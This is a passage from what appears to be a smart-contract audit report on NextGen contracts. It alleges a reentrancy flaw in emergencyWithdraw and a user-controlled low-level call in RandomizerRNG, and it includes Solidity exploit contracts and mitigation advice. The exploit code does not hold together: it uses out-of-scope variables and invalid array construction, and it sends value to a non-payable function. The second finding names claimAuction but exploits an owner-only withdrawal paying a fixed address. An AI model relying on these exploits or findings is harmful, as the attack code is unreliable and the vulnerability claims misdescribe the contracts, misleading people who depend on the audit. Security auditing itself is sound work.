        require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
        adminsContract = INextGenAdmins(_newadminsContract);
    }

Vulnerable emergencyWithdraw function to reentrancy

// Ln 461-466
    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Exploit Reentrancy

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./MinterContract.sol";

contract tMinterContract {

   MinterContract public x1;

   constructor(MinterContract _x1) {

      x1 = MinterContract(_x1);

   }

   function testRenterD() public payable {
      
      string memory tokenData = string("0x1e18");
      bytes32[] calldata merkleProof = new bytes32[1]();
      merkleProof[0] = bytes32(0x3);      

      x1.burnOrSwapExternalToMint(address(_x1), 
         uint256(2), 
         uint256(24), 
         uint256(34), 
         tokenData, 
         merkleProof, 
         uint256(7));

      x1.payArtist{value: 2 ether}(uint256(24), 
         address(_x1), 
         address(_x1), 
         uint256(10), 
         uint256(20));

      x1.updateAdminContract(address(_x1));

      x1.emergencyWithdraw{value: 2 ether}();

   }

   receive() external payable {

      msg.sender.transfer(payable(address(_x1)).balance);

   }
   
   }

Tools Used

VS Code.

Recommended Mitigation Steps

All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.

Assessed type

Reentrancy

[M-03] Controlled low level call in the RandomizerRNG contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L79-L84

Vulnerability details

Impact

The contract is using call() which is accepting address controlled by a user.
This can have devastating effects on the contract as a call allows the contract to execute code belonging to other contracts but using it’s own storage.
This can very easily lead to a loss of funds and compromise of the contract.

Proof of Concept

Vulnerable emergencyWithdraw function

// Ln 79-84
    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Exploit claimAuction low level call

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./RandomizerRNG.sol";

contract tRandomizerRNG {

   RandomizerRNG public x1;

   constructor(RandomizerRNG _x1) {

      x1 = RandomizerRNG(_x1);

   }

   function testlowCallC() public payable {

      x1.emergencyWithdraw{value: 2 ether}();

   }

   receive() external payable {}

   }

Tools Used

VS Code.

Recommended Mitigation Steps

Do not allow user-controlled data inside the call() function.

// Ln 82
        (bool success, ) = payable(admin).call{value: balance}("");

Assessed type

call/delegatecall

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.